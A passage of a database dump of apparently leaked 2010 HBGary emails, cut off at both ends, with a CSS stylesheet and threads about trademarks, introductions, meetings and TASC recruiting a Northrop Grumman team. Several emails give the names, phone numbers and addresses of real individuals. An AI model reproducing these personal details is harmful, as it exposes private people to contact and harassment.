\"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',10837,'aaron_hbgary_com/10837.html'),(12026,'2010-09-20','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008958.M978075P14101Q6881.eml','all@hbgary.com','FYI-Active Defense(TM)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWe were awarded the trademark for Active Defense.&nbsp; All of\r\nour product names have been trademarked, Responder, Digital DNA and Active\r\nDefense.&nbsp; Please make sure on the first use of any of the terms you put a &nbsp;&nbsp;TM\r\nsymbol.&nbsp; \r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\nPenny\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15923,'aaron_hbgary_com/15923.html'),(12027,'2010-09-20','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008959.M946027P14101Q6882.eml','alex.benlemlih@dia.mil,\"Aaron Barr\" <aaron@hbgary.com>','Introduction regarding social media','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAlex and Aaron,\r\n\r\n&nbsp;\r\n\r\nLet me introduce you to each other.&nbsp; Both of you do\r\ninteresting work related to social media.&nbsp; Let me add that Aaron&#8217;s team\r\nat HBGary Federal are developing the TMC system.\r\n\r\n&nbsp;\r\n\r\nCONTACT INFO\r\n\r\n&nbsp;\r\n\r\nAlex Benlemih / National Media Exploitation Center\r\n\r\n(703) 275-8325 / D307152@dia.mil\r\n\r\n&nbsp;\r\n\r\nAaron Barr / CEO of HBGary Federal\r\n\r\n719-510-8478 / aaron@hbgary.com\r\n\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5010,'aaron_hbgary_com/5010.html'),(12028,'2010-09-20','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297008960.M212769P14101Q6883.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Attribution','Matt and I are both booked all day today. Let\'s do Friday. \r\n\r\n-az\r\n\r\nOn Sep 20, 2010, at 8:32 AM, Aaron Barr  wrote:\r\n\r\n> Hey Guys,\r\n> \r\n> Short notice I have to fly to Cincinnati tomorrow and will flying back Thursday.  Do you want to get together today or Friday?\r\n> \r\n> Aaron\r\n> \r\n',16659,'aaron_hbgary_com/16659.html'),(12029,'2010-09-20','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297008960.M441335P14101Q6884.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Wow','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFYI - Good news.&nbsp; Al says hire them.&nbsp; Hire all of them\r\nas soon as you can.&nbsp; I have a phone interview with Tawny (and some work)\r\non Wednesday.&nbsp; Things are getting better and better.&nbsp; Don&#8217;t\r\nworry, we&#8217;ll give folks the option to work for the team mate they\r\ndesire.&nbsp; This will work out!\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Saturday, September 18, 2010 11:18 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Wow\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nYeah we need to talk. &nbsp;I have to fly to Cincinatti on\r\nMonday for a few days. &nbsp;Another note to follow to the broader group.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 18, 2010, at 11:52 AM, Clair, Chris (TASC) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI\'m working a scenario at TASC.&nbsp; Is there any way I hire them and we (both\r\ncompanies) use them part time for work?&nbsp; If I can cover them 50% we can\r\nhire knowing they will transition to ROMAS.&nbsp; Let\'s talk next week to\r\ndevelop some work out at the Springs.&nbsp; I don\'t want NC intimidation\r\ntechniques to ruin the possibility of continuing the work.\r\n\r\nTawny is first on my list, but if we can get the whole or part of the team, I\r\nam all for it.\r\n\r\nLet me know what you think.&nbsp; I am available to talk Sunday afternoon if\r\nyou like.\r\n\r\nChris&nbsp;&nbsp;\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Fri 9/17/2010 10:27 PM\r\nTo: Clair, Chris (TASC); Garcia, Kathy (TASC)\r\nSubject: Wow\r\n\r\nThe NG local leadership followed a few employees to lunch across the\r\nstreet.&nbsp; Those employees were meeting with Ted.&nbsp; When they got back\r\nthey were lectured and harassed about talking with us, how that might be\r\nperceived.&nbsp; They know we are actively recruiting and they&nbsp; are using fear\r\nand intimidation on their employees.&nbsp; Unbelievable.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15784,'aaron_hbgary_com/15784.html'),(12030,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008960.M655998P14101Q6885.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Wow','You guys are great.On Sep 20, 2010, at 12:16 PM, Clair, Chris (TASC) wrote:FYI - Good news.&nbsp; Al says hire them.&nbsp; Hire all of them as soon as you can.&nbsp; I have a phone interview with Tawny (and some work) on Wednesday.&nbsp; Things are getting better and better.&nbsp; Don’t worry, we’ll give folks the option to work for the team mate they desire.&nbsp; This will work out!&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Saturday, September 18, 2010 11:18 PMTo:&nbsp;Clair, Chris (TASC)Subject:&nbsp;Re: Wow&nbsp;Yeah we need to talk. &nbsp;I have to fly to Cincinatti on Monday for a few days. &nbsp;Another note to follow to the broader group.&nbsp;Aaron&nbsp;On Sep 18, 2010, at 11:52 AM, Clair, Chris (TASC) wrote:Aaron,I\'m working a scenario at TASC.&nbsp; Is there any way I hire them and we (both companies) use them part time for work?&nbsp; If I can cover them 50% we can hire knowing they will transition to ROMAS.&nbsp; Let\'s talk next week to develop some work out at the Springs.&nbsp; I don\'t want NC intimidation techniques to ruin the possibility of continuing the work.Tawny is first on my list, but if we can get the whole or part of the team, I am all for it.Let me know what you think.&nbsp; I am available to talk Sunday afternoon if you like.Chris&nbsp;&nbsp;-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]Sent: Fri 9/17/2010 10:27 PMTo: Clair, Chris (TASC); Garcia, Kathy (TASC)Subject: WowThe NG local leadership followed a few employees to lunch across the street.&nbsp; Those employees were meeting with Ted.&nbsp; When they got back they were lectured and harassed about talking with us, how that might be perceived.&nbsp; They know we are actively recruiting and they&nbsp; are using fear and intimidation on their employees.&nbsp; Unbelievable.Aaron&nbsp;',4548,'aaron_hbgary_com/4548.html'),(12031,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008960.M930682P14101Q6886.eml','\"Charlie Scuilla\" <charlie@scuilla.com>','Re: Meeting Gatorbiat','sure.\r\n\r\nOn Sep 20, 2010, at 10:22 AM, Charlie Scuilla wrote:\r\n\r\n> Aaron:\r\n> \r\n> Not yet.  How about a call at 1PM?\r\n> \r\n> Charlie\r\n> \r\n> \r\n> On Sep 20, 2010, at 8:26 AM, Aaron Barr wrote:\r\n> \r\n>> Hey Charlie,\r\n>> \r\n>> Have you done it at all yet?\r\n>> \r\n>> Lets get on today if you have some time.   I am flying to Cincinnati tomorrow morning for a few days.\r\n>> \r\n>> Aaron\r\n>> \r\n>> On Sep 16, 2010, at 2:47 PM, Charlie Scuilla wrote:\r\n>> \r\n>>> Aaron:\r\n>>> \r\n>>> I thought that we were going to chat - on facetime?\r\n>>> \r\n>>> Charlie\r\n>>> \r\n>>> \r\n>>> On Jul 26, 2010, at 1:24 PM, Aaron Barr wrote:\r\n>>> \r\n>>>> Hey Charlie,\r\n>>>> \r\n>>>> More to follow next week.  I met with Bob Frisbie, my old boss, who now runs Mantechs work for that organization.  I have signed an NDA with them.  I also mentioned to Bob that you guys were interested as well.  He said he was still working on putting together \"the team\" and was looking for people that could contribute.  I don\'t know exactly what that means, but I will ask him again when I see him next week in our follow up meeting.\r\n>>>> \r\n>>>> I talked to GD on the phone, they are also interested to talk to us, we have a standing relationship with Jim Jaeger and his group, but I haven\'t heard anything else from him yet.  I think Mantech has potentially the strongest offering going into this, besides maybe Harris/Crucial.\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> \r\n>>>> On Jul 26, 2010, at 12:09 PM, Charlie Scuilla wrote:\r\n>>>> \r\n>>>>> Aaron:\r\n>>>>> \r\n>>>>> How did the meeting with Mantech go?\r\n>>>>> \r\n>>>>> Charlie\r\n>>>>> \r\n>>>>> \r\n>>>>> On Jun 23, 2010, at 4:13 PM, Aaron Barr wrote:\r\n>>>>> \r\n>>>>>> I have a meeting with Mantech early next month.  Forget about Northrop, the lead for this does not have the capability, this is not Xetron but another part of Northrop that has a contentious relationship with Xetron so they will likely not team well internally.  I have reached out to GD to find out what their position is.  Interesting I know Wayne Chunn from way back when he was with Scitor, I don\'t know his new company though.  Everyone else doesn\'t excite me.  Mandiant certainly has some forensics capability, don\'t know how many cleared people they have etc.  CACI I don\'t know much about.  MacB has some capability certainly, we have some contacts there, they are mostly focused in San Antonio.\r\n>>>>>> \r\n>>>>>> Aaron\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> On Jun 23, 2010, at 10:00 AM, Charlie Scuilla wrote:\r\n>>>>>> \r\n>>>>>>> Sorry it t\r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>> \r\n>>>>>> Aaron Barr\r\n>>>>>> CEO\r\n>>>>>> HBGary Federal Inc.\r\n>>>>>> \r\n>>>>> \r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>>> \r\n>> \r\n> \r\n\r\n',11260,'aaron_hbgary_com/11260.html'),(12032,'2010-09-20','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297008961.M141711P14101Q6887.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Wow','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYeah &#8211; my whole management staff was in the room\r\ntoo.&nbsp; We also have some full time work for Tawny to do remotely from CO\r\nuntil the RFP is awarded and probably after that.&nbsp; \r\n\r\n&nbsp;\r\n\r\nPuzzle pieces are finally starting to fit together.&nbsp; This\r\nis cool.\r\n\r\n&nbsp;\r\n\r\nChris \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, September 20, 2010 12:18 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Wow\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nYou guys are great.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 20, 2010, at 12:16 PM, Clair, Chris (TASC) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFYI - Good news.&nbsp; Al says hire them.&nbsp; Hire all of them\r\nas soon as you can.&nbsp; I have a phone interview with Tawny (and some work)\r\non Wednesday.&nbsp; Things are getting better and better.&nbsp; Don&#8217;t\r\nworry, we&#8217;ll give folks the option to work for the team mate they\r\ndesire.&nbsp; This will work out!\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Saturday, September\r\n18, 2010 11:18 PM\r\nTo:&nbsp;Clair, Chris (TASC)\r\nSubject:&nbsp;Re: Wow\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nYeah we need to talk. &nbsp;I have to fly to Cincinatti on\r\nMonday for a few days. &nbsp;Another note to follow to the broader group.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 18, 2010, at 11:52 AM, Clair, Chris (TASC) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI\'m working a scenario at TASC.&nbsp; Is there any way I hire them and we (both\r\ncompanies) use them part time for work?&nbsp; If I can cover them 50% we can\r\nhire knowing they will transition to ROMAS.&nbsp; Let\'s talk next week to\r\ndevelop some work out at the Springs.&nbsp; I don\'t want NC intimidation\r\ntechniques to ruin the possibility of continuing the work.\r\n\r\nTawny is first on my list, but if we can get the whole or part of the team, I\r\nam all for it.\r\n\r\nLet me know what you think.&nbsp; I am available to talk Sunday afternoon if\r\nyou like.\r\n\r\nChris&nbsp;&nbsp;\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Fri 9/17/2010 10:27 PM\r\nTo: Clair, Chris (TASC); Garcia, Kathy (TASC)\r\nSubject: Wow\r\n\r\nThe NG local leadership followed a few employees to lunch across the\r\nstreet.&nbsp; Those employees were meeting with Ted.&nbsp; When they got back\r\nthey were lectured and harassed about talking with us, how that might be\r\nperceived.&nbsp; They know we are actively recruiting and they&nbsp; are using\r\nfear and intimidation on their employees.&nbsp; Unbelievable.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9471,'aaron_hbgary_com/9471.html'),(12033,'2010-09-20','\"Charlie Scuilla\" <charlie@scuilla.com>','/aaron@hbgary.com/new/1297008961.M374201P14101Q6888.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting Gatorbiat','great I will call you.\r\n\r\n\r\nOn Sep 20, 2010, at 12:20 PM, Aaron Barr wrote:\r\n\r\n> sure.\r\n>\r\n> On Sep 20, 2010, at 10:22 AM, Charlie Scuilla wrote:\r\n>\r\n>> Aaron:\r\n>>\r\n>> Not yet.  How about a call at 1PM?\r\n>>\r\n>> Charlie\r\n>>\r\n>>\r\n>> On Sep 20, 2010, at 8:26 AM, Aaron Barr wrote:\r\n>>\r\n>>> Hey Charlie,\r\n>>>\r\n>>> Have you done it at all yet?\r\n>>>\r\n>>> Lets get on today if you have some time.   I am flying to  \r\n>>> Cincinnati tomorrow morning for a few days.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> On Sep 16, 2010, at 2:47 PM, Charlie Scuilla wrote:\r\n>>>\r\n>>>> Aaron:\r\n>>>>\r\n>>>> I thought that we were going to chat - on facetime?\r\n>>>>\r\n>>>> Charlie\r\n>>>>\r\n>>>>\r\n>>>> On Jul 26, 2010, at 1:24 PM, Aaron Barr wrote:\r\n>>>>\r\n>>>>> Hey Charlie,\r\n>>>>>\r\n>>>>> More to follow next week.  I met with Bob Frisbie, my old boss,  \r\n>>>>> who now runs Mantechs work for that organization.  I have signed  \r\n>>>>> an NDA with them.  I also mentioned to Bob that you guys were  \r\n>>>>> interested as well.  He said he was still working on putting  \r\n>>>>> together \"the team\" and was looking for people that could  \r\n>>>>> contribute.  I don\'t know exactly what that means, but I will  \r\n>>>>> ask him again when I see him next week in our follow up meeting.\r\n>>>>>\r\n>>>>> I talked to GD on the phone, they are also interested to talk to  \r\n>>>>> us, we have a standing relationship with Jim Jaeger and his  \r\n>>>>> group, but I haven\'t heard anything else from him yet.  I think  \r\n>>>>> Mantech has potentially the strongest offering going into this,  \r\n>>>>> besides maybe Harris/Crucial.\r\n>>>>>\r\n>>>>> Aaron\r\n>>>>>\r\n>>>>>\r\n>>>>> On Jul 26, 2010, at 12:09 PM, Charlie Scuilla wrote:\r\n>>>>>\r\n>>>>>> Aaron:\r\n>>>>>>\r\n>>>>>> How did the meeting with Mantech go?\r\n>>>>>>\r\n>>>>>> Charlie\r\n>>>>>>\r\n>>>>>>\r\n>>>>>> On Jun 23, 2010, at 4:13 PM, Aaron Barr wrote:\r\n>>>>>>\r\n>>>>>>> I have a meeting with Mantech early next month.  Forget about  \r\n>>>>>>> Northrop, the lead for this does not have the capability, this  \r\n>>>>>>> is not Xetron but another part of Northrop that has a  \r\n>>>>>>> contentious relationship with Xetron so they will likely not  \r\n>>>>>>> team well internally.  I have reached out to GD to find out  \r\n>>>>>>> what their position is.  Interesting I know Wayne Chunn from  \r\n>>>>>>> way back when he was with Scitor, I don\'t know his new company  \r\n>>>>>>> though.  Everyone else doesn\'t excite me.  Mandiant certainly  \r\n>>>>>>> has some forensics capability, don\'t know how many cleared  \r\n>>>>>>> people they have etc.  CACI I don\'t know much about.  MacB has  \r\n>>>>>>> some capability certainly, we have some contacts there, they  \r\n>>>>>>> are mostly focused in San Antonio.\r\n>>>>>>>\r\n>>>>>>> Aaron\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>> On Jun 23, 2010, at 10:00 AM, Charlie Scuilla wrote:\r\n>>>>>>>\r\n>>>>>>>> Sorry it t\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>> \r\n>>>>>>>\r\n>>>>>>> Aaron Barr\r\n>>>>>>> CEO\r\n>>>>>>> HBGary Federal Inc.\r\n>>>>>>>\r\n>>>>>>\r\n>>>>>\r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>>\r\n>>>>\r\n>>>\r\n>>\r\n>\r\n\r\n',15925,'aaron_hbgary_com/15925.html'),(12034,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008961.M622575P14101Q6889.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Wow','OK. &nbsp;If you want to really help them and really hurt NG focus on Tawny, Aaron Spring, Matt Furman, and Jeremiah. &nbsp;That is the multi-media team nearly completely and I think all will hire out now. &nbsp;They can develop anything you want multi-media wise. &nbsp;If you can\'t hire all hire them in this order; Tawny, Matt, Aaron, Jeremiah. (BTW, Matt is their current capture manager, amazing with virtual worlds, graphics development, scripts, etc.)I am working on the others to apply for contingent offers. &nbsp;Once some of them are hired away I will really put the screws in to get the others to sign contingent offers. &nbsp;Some are already applying; Nick, Jeff, Josh...AaronOn Sep 20, 2010, at 12:21 PM, Clair, Chris (TASC) wrote:Yeah – my whole management staff was in the room too.&nbsp; We also have some full time work for Tawny to do remotely from CO until the RFP is awarded and probably after that.&nbsp;&nbsp;Puzzle pieces are finally starting to fit together.&nbsp; This is cool.&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, September 20, 2010 12:18 PMTo:&nbsp;Clair, Chris (TASC)Subject:&nbsp;Re: Wow&nbsp;You guys are great.&nbsp;On Sep 20, 2010, at 12:16 PM, Clair, Chris (TASC) wrote:FYI - Good news.&nbsp; Al says hire them.&nbsp; Hire all of them as soon as you can.&nbsp; I have a phone interview with Tawny (and some work) on Wednesday.&nbsp; Things are getting better and better.&nbsp; Don’t worry, we’ll give folks the option to work for the team mate they desire.&nbsp; This will work out!&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Saturday, September 18, 2010 11:18 PMTo:&nbsp;Clair, Chris (TASC)Subject:&nbsp;Re: Wow&nbsp;Yeah we need to talk. &nbsp;I have to fly to Cincinatti on Monday for a few days. &nbsp;Another note to follow to the broader group.&nbsp;Aaron&nbsp;On Sep 18, 2010, at 11:52 AM, Clair, Chris (TASC) wrote:Aaron,I\'m working a scenario at TASC.&nbsp; Is there any way I hire them and we (both companies) use them part time for work?&nbsp; If I can cover them 50% we can hire knowing they will transition to ROMAS.&nbsp; Let\'s talk next week to develop some work out at the Springs.&nbsp; I don\'t want NC intimidation techniques to ruin the possibility of continuing the work.Tawny is first on my list, but if we can get the whole or part of the team, I am all for it.Let me know what you think.&nbsp; I am available to talk Sunday afternoon if you like.Chris&nbsp;&nbsp;-----Original Message-----From: 